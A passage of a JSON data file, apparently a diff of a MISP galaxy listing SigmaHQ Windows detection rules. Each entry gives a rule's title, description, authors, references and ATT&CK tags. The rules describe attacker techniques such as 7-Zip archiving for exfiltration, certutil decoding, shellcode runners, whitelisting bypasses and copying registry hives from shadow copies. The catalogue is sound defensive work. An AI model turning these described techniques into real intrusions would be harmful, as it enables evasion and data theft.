}, - "uuid": "961e0abb-1b1e-4c84-a453-aafe56ad0d34", - "value": "Execution via stordiag.exe" - }, - { - "description": "Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications", - "meta": { - "author": "frack113", - "creation_date": "2022/07/16", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_susp_16bit_application.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml", - "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", - "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", - "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", - "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "16905e21-66ee-42fe-b256-1318ada2d770", - "value": "Start of NT Virtual DOS Machine" - }, - { - "description": "Detects the use of 3proxy, a tiny free proxy server", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/09/13", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_3proxy_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/3proxy/3proxy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_3proxy_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572" - ] - }, - "uuid": "f38a82d2-fba3-4781-b549-525efbec8506", - "value": "3Proxy Usage" - }, - { - "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", - "meta": { - "author": "frack113", - "creation_date": "2021/07/27", - "falsepositive": [ - "Command line parameter combinations that contain all included strings" - ], - "filename": "proc_creation_win_susp_7z.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7z.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ] - }, - "uuid": "9fbf5927-5261-4284-a71d-f681029ea574", - "value": "Compress Data and Lock With Password for Exfiltration With 7-ZIP" - }, - { - "description": "Detects a suspicious 7zip execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/27", - "falsepositive": [ - "Legitimate use of 7-Zip with a command line in which .dmp appears accidentally" - ], - "filename": "proc_creation_win_susp_7zip_dmp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7zip_dmp.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ] - }, - "uuid": "ec570e53-4c76-45a9-804d-dc3f355ff7a7", - "value": "7Zip Compressing Dump Files" - }, - { - "description": "Detects suspicious command line that adds an account to the local administrators/administrateurs group", - "meta": { - "author": "Florian Roth, Nasreddine Bencherchali", - "creation_date": "2022/08/12", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_add_local_admin.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_local_admin.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "ad720b90-25ad-43ff-9b5e-5c841facc8e5", - "value": "Add User to Local Administrators" - }, - { - "description": "Detects suspicious command line in which a user gets added to the local Remote Desktop Users group", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/12/06", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_add_user_remote_desktop.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop.yml", - "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/" - ], - "tags": [ - "attack.persistence", - "attack.lateral_movement", - "attack.t1133", - "attack.t1136.001", - "attack.t1021.001" - ] - }, - "uuid": "ffa28e60-bdb1-46e0-9f82-05f7a61cc06e", - "value": "Suspicious Add User to Remote Desktop Users Group" - }, - { - "description": "Detects the execution of a AdFind for enumeration based on it's commadline flags", - "meta": { - "author": "frack113", - "creation_date": "2021/12/13", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_adfind_enumeration.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_enumeration.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md", - "https://www.joeware.net/freetools/tools/adfind/" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002" - ] - }, - "uuid": "455b9d50-15a1-4b99-853f-8d37655a4c1b", - "value": "Suspicious AdFind Enumeration" - }, - { - "description": "AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", - "meta": { - "author": "Janantha Marasinghe (https://github.com/blueteam0ps), FPT.EagleEye Team, omkar72, oscd.community", - "creation_date": "2021/02/02", - "falsepositive": [ - "Legitimate admin activity" - ], - "filename": "proc_creation_win_susp_adfind_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_usage.yml", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", - "https://thedfirreport.com/2020/05/08/adfind-recon/", - "https://www.joeware.net/freetools/tools/adfind/" - ], - "tags": [ - "attack.discovery", - "attack.t1018", - "attack.t1087.002", - "attack.t1482", - "attack.t1069.002" - ] - }, - "uuid": "9a132afa-654e-11eb-ae93-0242ac130002", - "value": "AdFind Usage Detection" - }, - { - "description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_adidnsdump.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adidnsdump.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ] - }, - "uuid": "26d3f0a2-f514-4a3f-a8a7-e7e48a8d9160", - "value": "Suspicious Execution of Adidnsdump" - }, - { - "description": "Detects the execution of AdvancedRun utility", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_advancedrun.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/splinter_code/status/1483815103279603714", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", - "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun.yml" - ], - "tags": "No established tags" - }, - "uuid": "d2b749ee-4225-417e-b20e-a8d2193cbb84", - "value": "Suspicious AdvancedRun Execution" - }, - { - "description": "Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_advancedrun_priv_user.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/splinter_code/status/1483815103279603714", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", - "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun_priv_user.yml" - ], - "tags": "No established tags" - }, - "uuid": "fa00b701-44c6-4679-994d-5a18afa8a707", - "value": "Suspicious AdvancedRun Runas Priv User" - }, - { - "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", - "meta": { - "author": "frack113", - "creation_date": "2021/07/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_athremotefxvgpudisablementcommand.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_athremotefxvgpudisablementcommand.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "a6fc3c46-23b8-4996-9ea2-573f4c4d88c5", - "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand" - }, - { - "description": "Detects base64 encoded powershell 'Invoke-' call", - "meta": { - "author": "pH-T", - "creation_date": "2022/05/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_base64_invoke.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_invoke.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "6385697e-9f1b-40bd-8817-f4a91f40508e", - "value": "Suspicious Base64 Encoded Powershell Invoke" - }, - { - "description": "Detects suspicious base64 encoded and obbfuscated LOAD string often used for reflection.assembly load", - "meta": { - "author": "pH-T", - "creation_date": "2022/03/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_base64_load.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "9c0295ce-d60d-40bd-bd74-84673b7592b1", - "value": "Suspicious Encoded Obfuscated LOAD String" - }, - { - "description": "Detects, possibly, malicious unauthorized usage of bcdedit.exe", - "meta": { - "author": "@neu5ron", - "creation_date": "2019/02/07", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_susp_bcdedit.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bcdedit.yml", - "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set", - "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.persistence", - "attack.t1542.003" - ] - }, - "uuid": "c9fbe8e9-119d-40a6-9b59-dd58a5d84429", - "value": "Possible Ransomware or Unauthorized MBR Modifications" - }, - { - "description": "Execute VBscript code that is referenced within the *.bgi file.", - "meta": { - "author": "Beyu Denis, oscd.community", - "creation_date": "2019/10/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_bginfo.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bginfo.yml", - "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ] - }, - "uuid": "aaf46cdc-934e-4284-b329-34aa701e3771", - "value": "Application Whitelisting Bypass via Bginfo" - }, - { - "description": "Detects transferring files from system on a server bitstransfer Powershell cmdlets", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/19", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_bitstransfer.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bitstransfer.yml", - "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps" - ], - "tags": [ - "attack.exfiltration", - "attack.persistence", - "attack.t1197" - ] - }, - "uuid": "cd5c8085-4070-4e22-908d-a5b3342deb74", - "value": "Suspicious Bitstransfer via PowerShell" - }, - { - "description": "Detects execution of a set of builtin commands often used in recon stages by different attack groups", - "meta": { - "author": "Florian Roth, Markus Neis", - "creation_date": "2018/08/22", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_builtin_commands_recon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/haroonmeer/status/939099379834658817", - "https://twitter.com/c_APT_ure/status/939475433711722497", - "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_builtin_commands_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087", - "attack.t1082", - "car.2016-03-001" - ] - }, - "uuid": "2887e914-ce96-435f-8105-593937e90757", - "value": "Reconnaissance Activity Using BuiltIn Commands" - }, - { - "description": "Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/02/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_calc.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/ItsReallyNick/status/1094080242686312448", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_calc.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ] - }, - "uuid": "737e618a-a410-49b5-bec3-9e55ff7fbc15", - "value": "Suspicious Calculator Usage" - }, - { - "description": "Launch 64-bit shellcode from a debugger script file using cdb.exe.", - "meta": { - "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali", - "creation_date": "2019/10/26", - "falsepositive": [ - "Legitimate use of debugging tools" - ], - "filename": "proc_creation_win_susp_cdb.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cdb.yml", - "https://twitter.com/nas_bench/status/1534957360032120833", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/" - ], - "tags": [ - "attack.execution", - "attack.t1106", - "attack.defense_evasion", - "attack.t1218", - "attack.t1127" - ] - }, - "uuid": "b5c7395f-e501-4a08-94d4-57fe7a9da9d2", - "value": "Possible App Whitelisting Bypass via WinDbg/CDB as a Shellcode Runner" - }, - { - "description": "Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code", - "meta": { - "author": "Florian Roth, juju4, keepwatch", - "creation_date": "2019/01/16", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_certutil_command.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", - "https://twitter.com/JohnLaTwC/status/835149808817991680", - "https://twitter.com/egre55/status/1087685529016193025", - "https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/", - "https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_command.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.command_and_control", - "attack.t1105", - "attack.s0160", - "attack.g0007", - "attack.g0010", - "attack.g0045", - "attack.g0049", - "attack.g0075", - "attack.g0096" - ] - }, - "uuid": "e011a729-98a6-4139-b5c4-bf6f6dd8239a", - "value": "Suspicious Certutil Command Usage" - }, - { - "description": "Detects suspicious a certutil command that used to encode files, which is sometimes used for data exfiltration", - "meta": { - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/02/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_certutil_encode.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_certutil_encode.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", - "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a", - "value": "Certutil Encode" - }, - { - "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_char_in_cmd.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_char_in_cmd.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http", - "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "e0552b19-5a83-4222-b141-b36184bb8d79", - "value": "Obfuscated Command Line Using Special Unicode Characters" - }, - { - "description": "Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts", - "meta": { - "author": "Teymur Kheirkhabarov, Roberto Rodriguez (@Cyb3rWard0g), Open Threat Research (OTR)", - "creation_date": "2019/10/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_child_process_as_system_.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://twitter.com/Cyb3rWard0g/status/1453123054243024897", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml", - "https://github.com/antonioCoco/RogueWinRM" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1134.002" - ] - }, - "uuid": "590a5f4c-6c8c-4f10-8307-89afe9453a9d", - "value": "Suspicious Child Process Created as System" - }, - { - "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_cipher.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-3---overwrite-deleted-data-on-c-drive", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cipher.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ] - }, - "uuid": "4b046706-5789-4673-b111-66f25fe99534", - "value": "Overwrite Deleted Data with Cipher" - }, - { - "description": "Detects suspicious process that use escape characters", - "meta": { - "author": "juju4", - "creation_date": "2018/12/11", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_cli_escape.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/vysecurity/status/885545634958385153", - "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html", - "http://www.windowsinspired.com/understanding-the-command-line-string-and-arguments-received-by-a-windows-program/", - "https://twitter.com/Hexacorn/status/885553465417756673", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_escape.yml", - "https://twitter.com/Hexacorn/status/885570278637678592" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ] - }, - "uuid": "f0cdd048-82dc-4f7a-8a7a-b87a52b6d0fd", - "value": "Suspicious Commandline Escape" - }, - { - "description": "Detects usage of a CLSID folder name located in a suspicious location from the commandline as seen being used in IcedID", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/01", - "falsepositive": [ - "Some FP is expected with some installers" - ], - "filename": "proc_creation_win_susp_clsid_foldername.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clsid_foldername.yml", - "https://twitter.com/Kostastsale/status/1565257924204986369" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "90b63c33-2b97-4631-a011-ceb0f47b77c3", - "value": "Suspicious CLSID Folder Name In Suspicious Locations" - }, - { - "description": "Detects suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement.", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_cmd_exectution_via_wmi.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_exectution_via_wmi.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "e31f89f7-36fb-4697-8ab6-48823708353b", - "value": "Suspicious Cmd Execution via WMI" - }, - { - "description": "Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)", - "meta": { - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/01/16", - "falsepositive": [ - "High" - ], - "filename": "proc_creation_win_susp_cmd_http_appdata.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100", - "https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_http_appdata.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.t1059.001", - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "1ac8666b-046f-4201-8aba-1951aaec03a3", - "value": "Command Line Execution with Suspicious URL and AppData Strings" - }, - { - "description": "Detects a copy execution that targets a shadow copy (sometimes used to copy registry hives that are in use)", - "meta": { - "author": "Max Altgelt, Tobias Michalski", - "creation_date": "2021/08/09", - "falsepositive": [ - "Some rare backup scenarios" - ], - "filename": "proc_creation_win_susp_cmd_shadowcopy_access.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_shadowcopy_access.yml", - "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", - "https://twitter.com/vxunderground/status/1423336151860002816?s=20", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "c73124a7-3e89-44a3-bdc1-25fe4df754b1", - "value": "Copy from Volume Shadow Copy" - }, - { - "description": "Detects use of chcp to look up the system locale value as part of host discovery", - "meta": { - "author": "_pete_0, TheDFIRReport", - "creation_date": "2022/02/21", - "falsepositive": [ - "During Anaconda update the 'conda.exe' process will eventually launch the command described in the detection section" - ], - "filename": "proc_creation_win_susp_codepage_lookup.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_lookup.yml", - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp" - ], - "tags": [ - "attack.discovery", - "attack.t1614.001" - ] - }, - "uuid": "7090adee-82e2-4269-bd59-80691e7c6338", - "value": "CHCP CodePage Locale Lookup" - }, - { - "description": "Detects a code page switch in command line or batch scripts to a rare language", - "meta": { - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/10/14", - "falsepositive": [ - "Administrative activity (adjust code pages according to your organisation's region)" - ], - "filename": "proc_creation_win_susp_codepage_switch.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_codepage_switch.yml", - "https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identifiers", - "https://twitter.com/cglyer/status/1183756892952248325" - ], - "tags": [ - "attack.t1036", - "attack.defense_evasion" - ] - }, - "uuid": "c7942406-33dd-4377-a564-0f62db0593a3", - "value": "Suspicious Code Page Switch" - }, - { - "description": "Detects suspicious Unicode characters in the command line, which could be a sign of obfuscation or defense evasion", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/27", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_commandline_chars.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_chars.yml", - "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation" - ], - "tags": "No established tags" - }, - "uuid": "2c0d2d7b-30d6-4d14-9751-7b9113042ab9", - "value": "Suspicious Characters in CommandLine" - }, - { - "description": "Detects suspicious command line arguments of common data compression tools", - "meta": { - "author": "Florian Roth, Samir Bousseaden", - "creation_date": "2019/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_compression_params.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_compression_params.yml", - "https://twitter.com/SBousseaden/status/1184067445612535811" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ] - }, - "uuid": "27a72a60-7e5e-47b1-9d17-909c9abafdcd", - "value": "Suspicious Compression Tool Parameters" - }, - { - "description": "Detects the conhost execution as parent 